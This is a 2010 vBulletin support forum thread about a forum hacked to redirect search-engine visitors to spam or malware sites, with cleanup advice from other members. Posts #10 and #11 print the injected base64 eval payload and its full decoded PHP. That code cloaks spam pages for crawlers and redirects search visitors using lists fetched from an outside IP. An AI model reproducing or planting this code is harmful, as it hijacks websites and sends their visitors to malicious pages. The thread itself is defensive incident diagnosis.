Forum hijacked/redirected - URGENT PLEASE HELP

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • madkeen
    Member
    • Jan 2007
    • 48
    • 3.6.x

    Forum hijacked/redirected - URGENT PLEASE HELP

    If you do a search on Google for my site or any major keywords and then click on one of the links/results that lists my forum you end up at another site spam/maleware, etc. If you click on a result that is a standard html page you go to the site.

    If you type the URL in directly in the browser it works fine

    Anyone know how I can fix this and stop it happening again.

    Thanks
    Last edited by madkeen; Tue 2 Feb '10, 5:29am.
  • BBR-APBT
    Senior Member
    • Nov 2005
    • 456

    #2
    You have some sort or redirect in your php files if the referrer is google.

    This is done via your ads or directly in your code.
    My statements are based on the forums not the CMS as I do not and will not use it.
    If I wanted faulty software I would code it my self. When I pay I expect to get what is advertised. I do not feel I got what I paid for.
    In an honest opinion I feel I paid for vB 5.0 beta 7

    Comment

    • madkeen
      Member
      • Jan 2007
      • 48
      • 3.6.x

      #3
      YEs, I know that but where in the code and how do I fix it.
      What do I look for, etc, etc, etc

      Comment

      • Trevor Hannant
        vBulletin Support
        • Aug 2002
        • 24358
        • 5.7.X

        #4
        What version of vBulletin are you running? First step is to upload all the original vBulletin files to your server overwriting what's already there. If it's not the latest that is available under your license, then you should consider upgrading at this point also.

        Do you have modifications/plugins installed? Are they the most up to date?

        Check for amended templates - did you make the amendments? Create a new style and choose no parent style. This will force it to use the default templates. Finally empty your browser cache, close all browser windows then try again. Make sure you change to the new style and view your forums with it.

        Do you have the same problem?
        Vote for:

        - Admin Settable Paid Subscription Reminder Timeframe (vB6)
        - Add Admin ability to auto-subscribe users to specific channel(s) (vB6)

        Comment

        • BBR-APBT
          Senior Member
          • Nov 2005
          • 456

          #5
          Check in your htaccess file. Seems as this happened to a few sites.
          Thats where the redirect is I believe.

          How ever someone had access to your hosting account to edit that file.

          It is safe to say you have been compromised.

          Rename your .htaccess file .htaccess.compromised and create a new .htaccess file without the exploit code. This is only a temporary fix, as these hacks often include backdoors and viruses that will try to restore the bad .htaccess file.


          You will have to re-upload all your files from a backup. As Trevor said Check for amended templates - did you make the amendments?
          Last edited by BBR-APBT; Tue 2 Feb '10, 6:11am.
          My statements are based on the forums not the CMS as I do not and will not use it.
          If I wanted faulty software I would code it my self. When I pay I expect to get what is advertised. I do not feel I got what I paid for.
          In an honest opinion I feel I paid for vB 5.0 beta 7

          Comment

          • madkeen
            Member
            • Jan 2007
            • 48
            • 3.6.x

            #6
            Thanks for your help

            Found several .htaccess files in various directories

            in global.php or index.php there is a php code that makes this redirection. It's something like this:

            eval(base64_decode(SDHFUFH343BJB3TB3TJ3B34...

            deleted that and is working fine again.

            Comment

            • BBR-APBT
              Senior Member
              • Nov 2005
              • 456

              #7
              Originally posted by madkeen
              Thanks for your help

              Found several .htaccess files in various directories

              in global.php or index.php there is a php code that makes this redirection. It's something like this:

              eval(base64_decode(SDHFUFH343BJB3TB3TJ3B34...

              deleted that and is working fine again.

              You need to reinstall all your code and check your templates. You was hacked and you did not correctly fix the problem. You need to find the hole and fix it. Read my post again and follow the directions.
              My statements are based on the forums not the CMS as I do not and will not use it.
              If I wanted faulty software I would code it my self. When I pay I expect to get what is advertised. I do not feel I got what I paid for.
              In an honest opinion I feel I paid for vB 5.0 beta 7

              Comment

              • madkeen
                Member
                • Jan 2007
                • 48
                • 3.6.x

                #8
                No templates amended.


                Deleted the .htaccess files and replaced with originals.

                Will dig further but appears nothing else was changed.

                Appears that someone that logged in via ftp to upload files had spyware or similar on their system.

                Comment

                • motowebmaster
                  Senior Member
                  • Mar 2006
                  • 255
                  • 3.5.x

                  #9
                  If you run your own server, install a firewall and restrict FTP so that only your network (IP Address) can use it. It is best that FTP be blocked completely, and that you use SFTP instead (and have it restricted at your firewall as well).
                  Shawn

                  Comment

                  • madkeen
                    Member
                    • Jan 2007
                    • 48
                    • 3.6.x

                    #10
                    Here is a copy of the exact code that was in Global.php

                    eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOyRodD0kX1NFUlZFUlsnSFRUUF9IT1NUJ107JHB0cz1leH B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VFBfUkVGRVJFUiddO2lmKGVyZWdpKCJnb29nbGUuIiwk cmEpfHxlcmVnaSgieWFob28uIiwkcmEpfHxlcmVnaSgibGl2ZS4iLCRyYSl8fGVyZWdpKCJtc24uIiwkcmEpfHxlcm VnaSgiYmluZy4iLCRyYSkpeyRkMj0iMjEyLjExNy4xNjkuMTM5IjskZjI9Ii9yZWQudHh0IjskZnAyPWZzb2Nrb3Bl bigkZDIsODAsJGVybm8sJGVyc3RyLDMwKTtpZighJGZwMil7cHJpbnQgIkVycjogJGVyc3RyIFskZXJub10iO31lbH Nle2Z3cml0ZSgkZnAyLCJHRVQgJGYyIEhUVFAvMS4wXHJcbiIpO2Z3cml0ZSgkZnAyLCJIb3N0OiAkZDJcclxuXHJc biIpO3doaWxlKCFmZW9mKCRmcDIpKXskaDIuPWZyZWFkKCRmcDIsNTEyKTt9ZmNsb3NlKCRmcDIpO31wcmVnX21hdG NoX2FsbCgiITxiZWdpbj4oW148XSspPGVuZD4hIiwkaDIsJG0yKTskcj0kbTJbMV1bYXJyYXlfcmFuZCgkbTIpXTsk cj0kci4iPyIuJHJhO2hlYWRlcigiSFRUUC8xLjEgMzAyIik7aGVhZGVyKCJMb2NhdGlvbjogJHIiKTtleGl0KCk7fQ =='));

                    Comment

                    • BBR-APBT
                      Senior Member
                      • Nov 2005
                      • 456

                      #11
                      and here is that PHP code that was inserted.

                      Code:
                      error_reporting(0);$ht=$_SERVER['HTTP_HOST'];$pts=explode("?",$_SERVER['REQUEST_URI']);$pt=$pts[0];$px=$pts[1];$hi=$_SERVER['SERVER_ADDR'];$hi=str_replace('.','',$hi)."=";$a=$_SERVER['HTTP_USER_AGENT'];if(eregi("google",$a)||eregi("Googlebot",$a)||eregi("slurp",$a)||eregi("msnbot",$a)){$d1="212.117.169.139";$f1="/allmykey.txt";$fp1=fsockopen($d1,80,$erno,$erstr,30);if(!$fp1){print "Err: $erstr [$erno]";}else{fwrite($fp1,"GET $f1 HTTP/1.0\r\n");fwrite($fp1,"Host: $d1\r\n\r\n");while(!feof($fp1)){$h1.=fread($fp1,512);}fclose($fp1);}preg_match_all("!<begin>([^<]+)<end>!",$h1,$m1);if(eregi($hi,$px)){$k=str_replace($hi,'',$px);echo "<HTML><HEAD><TITLE>".str_replace('-',' ',strtoupper($k))."</TITLE><META http-equiv=Content-Type content=\"text/html; charset=utf-8\"><META content=\"index,follow\" name=ROBOTS><META http-equiv=\"Content-Language\" content=\"en\"><META http-equiv=\"refresh\" content=\"10\"></HEAD><BODY><H1>".str_replace('-',' ',$k).":</H1><BR><B>";for($i=0;$i<count($m1[0]);$i++){echo $m1[1][$i];}echo "</B><BR>";for($i=0;$i<count($m1[0]);$i++){echo "<A HREF='http://".$ht.$pt."?".$hi.$m1[1][$i]."'>".str_replace('-',' ',$m1[1][$i])."</A><BR>";}echo "<I>";for($i=0;$i<count($m1[0]);$i++){echo str_replace('-','',$m1[1][$i]);}echo "</I></BODY></HTML>";exit();}$ks=$m1[1][rand(0,count($m1[0]))];$us="http://".$ht.$pt."?".$hi.$ks;echo "<HTML><HEAD><TITLE></TITLE><META http-equiv=Content-Type content=\"text/html; charset=utf-8\"><META content=\"index,follow\" name=ROBOTS><META http-equiv=\"Content-Language\" content=\"en\"><META http-equiv=\"refresh\" content=\"0;url=$us\"></HEAD><BODY></BODY></HTML>";exit();}$ra=$_SERVER['HTTP_REFERER'];if(eregi("google.",$ra)||eregi("yahoo.",$ra)||eregi("live.",$ra)||eregi("msn.",$ra)||eregi("bing.",$ra)){$d2="212.117.169.139";$f2="/red.txt";$fp2=fsockopen($d2,80,$erno,$erstr,30);if(!$fp2){print "Err: $erstr [$erno]";}else{fwrite($fp2,"GET $f2 HTTP/1.0\r\n");fwrite($fp2,"Host: $d2\r\n\r\n");while(!feof($fp2)){$h2.=fread($fp2,512);}fclose($fp2);}preg_match_all("!<begin>([^<]+)<end>!",$h2,$m2);$r=$m2[1][array_rand($m2)];$r=$r."?".$ra;header("HTTP/1.1 302");header("Location: $r");exit();}
                      My statements are based on the forums not the CMS as I do not and will not use it.
                      If I wanted faulty software I would code it my self. When I pay I expect to get what is advertised. I do not feel I got what I paid for.
                      In an honest opinion I feel I paid for vB 5.0 beta 7

                      Comment

                      • GCC LLC
                        New Member
                        • Oct 2005
                        • 27
                        • 3.5.x

                        #12
                        Hey guys, this happened to me as well and the base64_decode stuff was inserted inside of my database in either one of the plugins (once it was inserted inside of VBSEO in vbseo_start) and the last time it seemed to just be inserted inside of the datastore table. It's easy to remove at this point and I have an alert set up to tell me when it's happened but we really need to figure out if it's VB that's allowing this or one of the plugins. Are either of you running the vB blog software? I'm trying to narrow it down based on some things I've seen in my server logs. Let's work together and figure this thing out!

                        Comment

                        widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
                        Working...